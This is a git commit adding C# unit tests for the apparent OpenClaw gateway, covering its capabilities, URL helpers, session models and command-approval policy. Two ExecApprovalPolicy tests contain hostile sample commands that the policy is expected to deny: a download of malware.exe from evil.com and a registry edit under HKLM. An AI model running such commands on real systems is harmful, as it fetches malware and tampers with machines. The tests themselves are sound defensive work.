Add 77 new unit tests to improve coverage of GatewayUrlHelper, Models, Capabilities, and ExecApprovalPolicy
Co-authored-by: shanselman <2892+shanselman@users.noreply.github.com>
This commit is contained in:
parent
aaea576e6f
commit
2e0eca41eb
@ -1,3 +1,4 @@
|
||||
using System.IO;
|
||||
using System.Text.Json;
|
||||
using Xunit;
|
||||
using OpenClaw.Shared;
|
||||
@ -517,6 +518,121 @@ public class CanvasCapabilityTests
|
||||
Assert.True(res.Ok);
|
||||
Assert.True(resetRaised);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Navigate_RaisesEvent_WhenUrlPresent()
|
||||
{
|
||||
var cap = new CanvasCapability(NullLogger.Instance);
|
||||
string? navigatedUrl = null;
|
||||
cap.NavigateRequested += (s, url) => navigatedUrl = url;
|
||||
|
||||
var req = new NodeInvokeRequest
|
||||
{
|
||||
Id = "c12",
|
||||
Command = "canvas.navigate",
|
||||
Args = Parse("""{"url":"https://example.com/page"}""")
|
||||
};
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.True(res.Ok);
|
||||
Assert.Equal("https://example.com/page", navigatedUrl);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Eval_ReturnsError_WhenHandlerThrows()
|
||||
{
|
||||
var cap = new CanvasCapability(NullLogger.Instance);
|
||||
cap.EvalRequested += (script) => throw new InvalidOperationException("WebView2 not ready");
|
||||
|
||||
var req = new NodeInvokeRequest
|
||||
{
|
||||
Id = "c13",
|
||||
Command = "canvas.eval",
|
||||
Args = Parse("""{"script":"document.title"}""")
|
||||
};
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.False(res.Ok);
|
||||
Assert.Contains("WebView2 not ready", res.Error);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Snapshot_CallsHandler_WithArgs()
|
||||
{
|
||||
var cap = new CanvasCapability(NullLogger.Instance);
|
||||
CanvasSnapshotArgs? receivedArgs = null;
|
||||
cap.SnapshotRequested += (args) =>
|
||||
{
|
||||
receivedArgs = args;
|
||||
return Task.FromResult("base64data");
|
||||
};
|
||||
|
||||
var req = new NodeInvokeRequest
|
||||
{
|
||||
Id = "c14",
|
||||
Command = "canvas.snapshot",
|
||||
Args = Parse("""{"format":"jpeg","maxWidth":800,"quality":70}""")
|
||||
};
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.True(res.Ok);
|
||||
Assert.NotNull(receivedArgs);
|
||||
Assert.Equal("jpeg", receivedArgs!.Format);
|
||||
Assert.Equal(800, receivedArgs.MaxWidth);
|
||||
Assert.Equal(70, receivedArgs.Quality);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Snapshot_ReturnsError_WhenHandlerThrows()
|
||||
{
|
||||
var cap = new CanvasCapability(NullLogger.Instance);
|
||||
cap.SnapshotRequested += (args) => throw new InvalidOperationException("Canvas not visible");
|
||||
|
||||
var req = new NodeInvokeRequest { Id = "c15", Command = "canvas.snapshot", Args = Parse("""{}""") };
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.False(res.Ok);
|
||||
Assert.Contains("Canvas not visible", res.Error);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task A2UIPush_WithJsonlPath_ReadsFile()
|
||||
{
|
||||
var cap = new CanvasCapability(NullLogger.Instance);
|
||||
CanvasA2UIArgs? received = null;
|
||||
cap.A2UIPushRequested += (s, a) => received = a;
|
||||
|
||||
var tmpFile = Path.GetTempFileName();
|
||||
try
|
||||
{
|
||||
File.WriteAllText(tmpFile, """{"type":"text","value":"hello"}""");
|
||||
var req = new NodeInvokeRequest
|
||||
{
|
||||
Id = "c16",
|
||||
Command = "canvas.a2ui.push",
|
||||
Args = Parse($$$"""{"jsonlPath":"{{{tmpFile.Replace("\\", "\\\\")}}}"}""")
|
||||
};
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.True(res.Ok);
|
||||
Assert.NotNull(received);
|
||||
Assert.Contains("hello", received!.Jsonl);
|
||||
}
|
||||
finally
|
||||
{
|
||||
File.Delete(tmpFile);
|
||||
}
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task A2UIPush_WithMissingJsonlPath_ReturnsError()
|
||||
{
|
||||
var cap = new CanvasCapability(NullLogger.Instance);
|
||||
var req = new NodeInvokeRequest
|
||||
{
|
||||
Id = "c17",
|
||||
Command = "canvas.a2ui.push",
|
||||
Args = Parse("""{"jsonlPath":"/nonexistent/path/file.jsonl"}""")
|
||||
};
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.False(res.Ok);
|
||||
Assert.Contains("Failed to read jsonlPath", res.Error);
|
||||
}
|
||||
}
|
||||
|
||||
public class ScreenCapabilityTests
|
||||
@ -597,6 +713,78 @@ public class ScreenCapabilityTests
|
||||
Assert.True(res.Ok);
|
||||
Assert.NotNull(res.Payload);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Capture_ReturnsError_WhenHandlerThrows()
|
||||
{
|
||||
var cap = new ScreenCapability(NullLogger.Instance);
|
||||
cap.CaptureRequested += (args) => throw new InvalidOperationException("Display access denied");
|
||||
|
||||
var req = new NodeInvokeRequest { Id = "s5", Command = "screen.capture", Args = Parse("""{}""") };
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.False(res.Ok);
|
||||
Assert.Contains("Display access denied", res.Error);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task List_ReturnsError_WhenHandlerThrows()
|
||||
{
|
||||
var cap = new ScreenCapability(NullLogger.Instance);
|
||||
cap.ListRequested += () => throw new InvalidOperationException("Screen enumeration failed");
|
||||
|
||||
var req = new NodeInvokeRequest { Id = "s6", Command = "screen.list", Args = Parse("""{}""") };
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.False(res.Ok);
|
||||
Assert.Contains("Screen enumeration failed", res.Error);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Capture_ResponseIncludesDataUri()
|
||||
{
|
||||
var cap = new ScreenCapability(NullLogger.Instance);
|
||||
cap.CaptureRequested += (args) => Task.FromResult(new ScreenCaptureResult
|
||||
{
|
||||
Format = "png",
|
||||
Width = 1920,
|
||||
Height = 1080,
|
||||
Base64 = "abc123"
|
||||
});
|
||||
|
||||
var req = new NodeInvokeRequest { Id = "s7", Command = "screen.capture", Args = Parse("""{}""") };
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.True(res.Ok);
|
||||
|
||||
var json = JsonSerializer.Serialize(res.Payload);
|
||||
using var doc = JsonDocument.Parse(json);
|
||||
var root = doc.RootElement;
|
||||
Assert.True(root.TryGetProperty("image", out var imageEl));
|
||||
Assert.StartsWith("data:image/png;base64,", imageEl.GetString());
|
||||
Assert.Contains("abc123", imageEl.GetString());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Capture_UsesMonitorAlias_ForScreenIndex()
|
||||
{
|
||||
var cap = new ScreenCapability(NullLogger.Instance);
|
||||
ScreenCaptureArgs? receivedArgs = null;
|
||||
cap.CaptureRequested += (args) =>
|
||||
{
|
||||
receivedArgs = args;
|
||||
return Task.FromResult(new ScreenCaptureResult { Format = "png", Width = 1920, Height = 1080, Base64 = "" });
|
||||
};
|
||||
|
||||
// "monitor" is an alias for "screenIndex"
|
||||
var req = new NodeInvokeRequest
|
||||
{
|
||||
Id = "s8",
|
||||
Command = "screen.capture",
|
||||
Args = Parse("""{"monitor":2}""")
|
||||
};
|
||||
var res = await cap.ExecuteAsync(req);
|
||||
Assert.True(res.Ok);
|
||||
Assert.NotNull(receivedArgs);
|
||||
Assert.Equal(2, receivedArgs!.MonitorIndex);
|
||||
}
|
||||
}
|
||||
|
||||
public class CameraCapabilityTests
|
||||
|
||||
@ -280,6 +280,117 @@ public class ExecApprovalPolicyTests : IDisposable
|
||||
var result = policy.Evaluate("echo hello");
|
||||
Assert.True(result.Allowed);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void InsertRule_ClampsToZero_ForNegativeIndex()
|
||||
{
|
||||
var policy = CreatePolicy();
|
||||
policy.SetRules(new[]
|
||||
{
|
||||
new ExecApprovalRule { Pattern = "first" },
|
||||
new ExecApprovalRule { Pattern = "second" }
|
||||
});
|
||||
|
||||
policy.InsertRule(-5, new ExecApprovalRule { Pattern = "inserted" });
|
||||
|
||||
Assert.Equal(3, policy.Rules.Count);
|
||||
Assert.Equal("inserted", policy.Rules[0].Pattern); // Inserted at index 0
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void InsertRule_ClampsToEnd_ForIndexBeyondCount()
|
||||
{
|
||||
var policy = CreatePolicy();
|
||||
policy.SetRules(new[]
|
||||
{
|
||||
new ExecApprovalRule { Pattern = "first" }
|
||||
});
|
||||
|
||||
policy.InsertRule(100, new ExecApprovalRule { Pattern = "last" });
|
||||
|
||||
Assert.Equal(2, policy.Rules.Count);
|
||||
Assert.Equal("last", policy.Rules[^1].Pattern); // Inserted at end
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RemoveRule_ReturnsFalse_ForNegativeIndex()
|
||||
{
|
||||
var policy = CreatePolicy();
|
||||
policy.SetRules(new[]
|
||||
{
|
||||
new ExecApprovalRule { Pattern = "rule1" }
|
||||
});
|
||||
|
||||
var removed = policy.RemoveRule(-1);
|
||||
Assert.False(removed);
|
||||
Assert.Single(policy.Rules);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RemoveRule_ReturnsFalse_ForIndexAtCount()
|
||||
{
|
||||
var policy = CreatePolicy();
|
||||
policy.SetRules(new[]
|
||||
{
|
||||
new ExecApprovalRule { Pattern = "rule1" }
|
||||
});
|
||||
|
||||
var removed = policy.RemoveRule(1); // index == count, out of range
|
||||
Assert.False(removed);
|
||||
Assert.Single(policy.Rules);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DefaultPolicy_CreatesFile_OnFirstLoad()
|
||||
{
|
||||
var policyFile = Path.Combine(_tempDir, "exec-policy.json");
|
||||
Assert.False(File.Exists(policyFile)); // Does not exist yet
|
||||
|
||||
var policy = CreatePolicy(); // Load() auto-creates defaults
|
||||
|
||||
Assert.True(File.Exists(policyFile)); // Should now exist
|
||||
Assert.True(policy.Rules.Count > 0);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void WhitespaceOnlyCommand_IsDenied()
|
||||
{
|
||||
var policy = CreatePolicy();
|
||||
var result = policy.Evaluate(" ");
|
||||
Assert.False(result.Allowed);
|
||||
Assert.Equal("Empty command", result.Reason);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DefaultPolicy_DeniesWebDownloads()
|
||||
{
|
||||
var policy = CreatePolicy();
|
||||
var result = policy.Evaluate("Invoke-WebRequest https://evil.com/malware.exe");
|
||||
Assert.False(result.Allowed);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DefaultPolicy_DeniesRegistryEdits()
|
||||
{
|
||||
var policy = CreatePolicy();
|
||||
var result = policy.Evaluate("reg add HKLM\\Software\\Evil");
|
||||
Assert.False(result.Allowed);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ShellFilter_DefaultsToLowercase_WhenShellNotProvided()
|
||||
{
|
||||
var policy = CreatePolicy();
|
||||
policy.SetRules(new[]
|
||||
{
|
||||
// Rule only applies to "cmd"
|
||||
new ExecApprovalRule { Pattern = "dir *", Action = ExecApprovalAction.Allow, Shells = new[] { "cmd" } }
|
||||
});
|
||||
|
||||
// When no shell is provided, defaults to "powershell" internally, so cmd-only rule doesn't match
|
||||
var result = policy.Evaluate("dir C:\\", null); // null shell -> defaults to "powershell"
|
||||
Assert.False(result.Allowed); // cmd rule didn't match, default deny applies
|
||||
}
|
||||
}
|
||||
|
||||
public class SystemCapabilityExecApprovalsTests
|
||||
|
||||
@ -33,4 +33,93 @@ public class GatewayUrlHelperTests
|
||||
Assert.False(result);
|
||||
Assert.Equal(string.Empty, normalized);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryNormalizeWebSocketUrl_RejectsNullInput()
|
||||
{
|
||||
var result = GatewayUrlHelper.TryNormalizeWebSocketUrl(null, out var normalized);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Equal(string.Empty, normalized);
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData(" ws://localhost:18789 ", "ws://localhost:18789")]
|
||||
[InlineData(" http://localhost:18789 ", "ws://localhost:18789")]
|
||||
public void TryNormalizeWebSocketUrl_TrimsWhitespace(string inputUrl, string expected)
|
||||
{
|
||||
var result = GatewayUrlHelper.TryNormalizeWebSocketUrl(inputUrl, out var normalized);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal(expected, normalized);
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("wss://user:pass@host.example.com", "wss://user:pass@host.example.com")]
|
||||
[InlineData("https://user:pass@host.example.com", "wss://user:pass@host.example.com")]
|
||||
public void TryNormalizeWebSocketUrl_PreservesEmbeddedCredentials(string inputUrl, string expected)
|
||||
{
|
||||
var result = GatewayUrlHelper.TryNormalizeWebSocketUrl(inputUrl, out var normalized);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal(expected, normalized);
|
||||
}
|
||||
|
||||
// --- IsValidGatewayUrl ---
|
||||
|
||||
[Theory]
|
||||
[InlineData("ws://localhost:18789")]
|
||||
[InlineData("wss://host.tailnet.ts.net")]
|
||||
[InlineData("http://localhost:18789")]
|
||||
[InlineData("https://host.tailnet.ts.net")]
|
||||
public void IsValidGatewayUrl_ReturnsTrueForValidUrls(string url)
|
||||
{
|
||||
Assert.True(GatewayUrlHelper.IsValidGatewayUrl(url));
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData(null)]
|
||||
[InlineData("")]
|
||||
[InlineData(" ")]
|
||||
[InlineData("localhost:18789")]
|
||||
[InlineData("ftp://example.com")]
|
||||
public void IsValidGatewayUrl_ReturnsFalseForInvalidUrls(string? url)
|
||||
{
|
||||
Assert.False(GatewayUrlHelper.IsValidGatewayUrl(url));
|
||||
}
|
||||
|
||||
// --- NormalizeForWebSocket ---
|
||||
|
||||
[Theory]
|
||||
[InlineData("http://localhost:18789", "ws://localhost:18789")]
|
||||
[InlineData("https://host.tailnet.ts.net", "wss://host.tailnet.ts.net")]
|
||||
[InlineData("ws://localhost:18789", "ws://localhost:18789")]
|
||||
[InlineData("wss://host.tailnet.ts.net", "wss://host.tailnet.ts.net")]
|
||||
public void NormalizeForWebSocket_NormalizesHttpToWs(string inputUrl, string expected)
|
||||
{
|
||||
var result = GatewayUrlHelper.NormalizeForWebSocket(inputUrl);
|
||||
Assert.Equal(expected, result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void NormalizeForWebSocket_ReturnsEmptyString_ForNull()
|
||||
{
|
||||
var result = GatewayUrlHelper.NormalizeForWebSocket(null);
|
||||
Assert.Equal(string.Empty, result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void NormalizeForWebSocket_ReturnsTrimmedOriginal_ForInvalidUrl()
|
||||
{
|
||||
// Invalid URL returns trimmed original (fallback behavior)
|
||||
var result = GatewayUrlHelper.NormalizeForWebSocket(" not-a-url ");
|
||||
Assert.Equal("not-a-url", result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ValidationMessage_IsNotEmpty()
|
||||
{
|
||||
Assert.NotEmpty(GatewayUrlHelper.ValidationMessage);
|
||||
Assert.Contains("ws://", GatewayUrlHelper.ValidationMessage);
|
||||
}
|
||||
}
|
||||
|
||||
@ -466,3 +466,296 @@ public class GatewayUsageInfoTests
|
||||
Assert.Contains("gpt-4", display);
|
||||
}
|
||||
}
|
||||
|
||||
public class GatewayNodeInfoTests
|
||||
{
|
||||
[Fact]
|
||||
public void ShortId_ReturnsFullId_ForShortIds()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "node-1" };
|
||||
Assert.Equal("node-1", node.ShortId);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ShortId_TruncatesWithEllipsis_ForLongIds()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "node-abcdef123456" };
|
||||
Assert.Equal("node-abcdef1…", node.ShortId); // First 12 chars + ellipsis
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ShortId_ExactlyTwelveChars_NotTruncated()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "123456789012" };
|
||||
Assert.Equal("123456789012", node.ShortId);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DisplayText_UsesDisplayName_WhenPresent()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "long-id-here", DisplayName = "My Windows PC", IsOnline = true };
|
||||
Assert.Contains("My Windows PC", node.DisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DisplayText_UsesShortId_WhenNoDisplayName()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "node-abcdef123456", DisplayName = "", IsOnline = true };
|
||||
Assert.Contains("node-abcdef1…", node.DisplayText); // First 12 chars + ellipsis
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DisplayText_ShowsOnline_WhenIsOnline()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = true };
|
||||
Assert.Contains("online", node.DisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DisplayText_ShowsOffline_WhenNotOnlineAndNoStatus()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = false, Status = "" };
|
||||
Assert.Contains("offline", node.DisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DisplayText_UsesStatus_WhenNotOnlineAndStatusSet()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = false, Status = "disconnected" };
|
||||
Assert.Contains("disconnected", node.DisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_ShowsNoDetails_WhenAllEmpty()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1" };
|
||||
Assert.Equal("no details", node.DetailText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_ShowsMode_WhenPresent()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", Mode = "node" };
|
||||
Assert.Contains("node", node.DetailText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_ShowsPlatform_WhenPresent()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", Platform = "windows" };
|
||||
Assert.Contains("windows", node.DetailText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_ShowsCommandAndCapabilityCounts()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", CommandCount = 5, CapabilityCount = 2 };
|
||||
Assert.Contains("5 cmd", node.DetailText);
|
||||
Assert.Contains("2 cap", node.DetailText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_ShowsLastSeen_WhenPresent()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddSeconds(-5) };
|
||||
Assert.Contains("just now", node.DetailText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_ShowsMinutesAgo_WhenOld()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddMinutes(-10) };
|
||||
Assert.Contains("10m ago", node.DetailText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_ShowsHoursAgo_ForRecentHours()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddHours(-3) };
|
||||
Assert.Contains("3h ago", node.DetailText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_ShowsDaysAgo_ForOldTimestamps()
|
||||
{
|
||||
var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddDays(-5) };
|
||||
Assert.Contains("5d ago", node.DetailText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DetailText_JoinsAllParts()
|
||||
{
|
||||
var node = new GatewayNodeInfo
|
||||
{
|
||||
NodeId = "n1",
|
||||
Mode = "node",
|
||||
Platform = "windows",
|
||||
CommandCount = 3,
|
||||
CapabilityCount = 1,
|
||||
LastSeen = DateTime.UtcNow.AddSeconds(-5)
|
||||
};
|
||||
var text = node.DetailText;
|
||||
Assert.Contains("node", text);
|
||||
Assert.Contains("windows", text);
|
||||
Assert.Contains("3 cmd", text);
|
||||
Assert.Contains("1 cap", text);
|
||||
Assert.Contains("just now", text);
|
||||
}
|
||||
}
|
||||
|
||||
public class SessionInfoAgeTextTests
|
||||
{
|
||||
[Fact]
|
||||
public void AgeText_JustNow_ForVeryRecentUpdate()
|
||||
{
|
||||
var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddSeconds(-10) };
|
||||
Assert.Equal("just now", session.AgeText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AgeText_MinutesAgo_WhenOlderThanOneMinute()
|
||||
{
|
||||
var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddMinutes(-5) };
|
||||
Assert.Equal("5m ago", session.AgeText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AgeText_HoursAgo_WhenOlderThanOneHour()
|
||||
{
|
||||
var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddHours(-2) };
|
||||
Assert.Equal("2h ago", session.AgeText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AgeText_DaysAgo_WhenOlderThan48Hours()
|
||||
{
|
||||
var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddDays(-3) };
|
||||
Assert.Equal("3d ago", session.AgeText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AgeText_UsesLastSeen_WhenUpdatedAtIsNull()
|
||||
{
|
||||
var session = new SessionInfo
|
||||
{
|
||||
UpdatedAt = null,
|
||||
LastSeen = DateTime.UtcNow.AddSeconds(-5)
|
||||
};
|
||||
Assert.Equal("just now", session.AgeText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AgeText_PrefersUpdatedAt_OverLastSeen()
|
||||
{
|
||||
var session = new SessionInfo
|
||||
{
|
||||
UpdatedAt = DateTime.UtcNow.AddMinutes(-10),
|
||||
LastSeen = DateTime.UtcNow.AddSeconds(-5)
|
||||
};
|
||||
Assert.Equal("10m ago", session.AgeText);
|
||||
}
|
||||
}
|
||||
|
||||
public class SessionInfoRichDisplayTextTests
|
||||
{
|
||||
[Fact]
|
||||
public void RichDisplayText_UsesMainSession_Label_WhenNoDisplayName_AndIsMain()
|
||||
{
|
||||
var session = new SessionInfo { IsMain = true };
|
||||
Assert.Equal("Main session", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_UsesSession_Label_WhenNoDisplayName_AndIsSub()
|
||||
{
|
||||
var session = new SessionInfo { IsMain = false };
|
||||
Assert.Equal("Session", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_UsesDisplayName_WhenSet()
|
||||
{
|
||||
var session = new SessionInfo { DisplayName = "my-agent", IsMain = true };
|
||||
Assert.StartsWith("my-agent", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_IncludesVerboseLevel()
|
||||
{
|
||||
var session = new SessionInfo { DisplayName = "agent", VerboseLevel = "high" };
|
||||
Assert.Contains("verbose high", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_IncludesSystemSentFlag()
|
||||
{
|
||||
var session = new SessionInfo { DisplayName = "agent", SystemSent = true };
|
||||
Assert.Contains("system", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_IncludesAbortedFlag()
|
||||
{
|
||||
var session = new SessionInfo { DisplayName = "agent", AbortedLastRun = true };
|
||||
Assert.Contains("aborted", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_IncludesCurrentActivity_WhenPresent()
|
||||
{
|
||||
var session = new SessionInfo { DisplayName = "agent", CurrentActivity = "running" };
|
||||
Assert.Contains("running", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_IncludesStatus_WhenNotUnknownOrActive()
|
||||
{
|
||||
var session = new SessionInfo { DisplayName = "agent", Status = "waiting" };
|
||||
Assert.Contains("waiting", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_DoesNotIncludeStatus_WhenUnknown()
|
||||
{
|
||||
var session = new SessionInfo { DisplayName = "agent", Status = "unknown" };
|
||||
Assert.DoesNotContain("unknown", session.RichDisplayText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RichDisplayText_DoesNotIncludeStatus_WhenActive()
|
||||
{
|
||||
var session = new SessionInfo { DisplayName = "agent", Status = "active" };
|
||||
Assert.DoesNotContain("active", session.RichDisplayText);
|
||||
}
|
||||
}
|
||||
|
||||
public class SessionInfoContextSummaryTests
|
||||
{
|
||||
[Fact]
|
||||
public void ContextSummaryShort_FormatsMillions()
|
||||
{
|
||||
var session = new SessionInfo { TotalTokens = 2_500_000, ContextTokens = 200_000 };
|
||||
Assert.Contains("2.5M", session.ContextSummaryShort);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ContextSummaryShort_Empty_WhenTotalIsZero()
|
||||
{
|
||||
var session = new SessionInfo { TotalTokens = 0, ContextTokens = 200_000 };
|
||||
Assert.Equal("", session.ContextSummaryShort);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ContextSummaryShort_Empty_WhenContextIsZero()
|
||||
{
|
||||
var session = new SessionInfo { TotalTokens = 10_000, ContextTokens = 0 };
|
||||
Assert.Equal("", session.ContextSummaryShort);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ContextSummaryShort_FormatsSmallNumbers()
|
||||
{
|
||||
var session = new SessionInfo { TotalTokens = 500, ContextTokens = 1000 };
|
||||
Assert.Contains("500/1.0K", session.ContextSummaryShort);
|
||||
}
|
||||
}
|
||||
|
||||
Loading…
Reference in New Issue
Block a user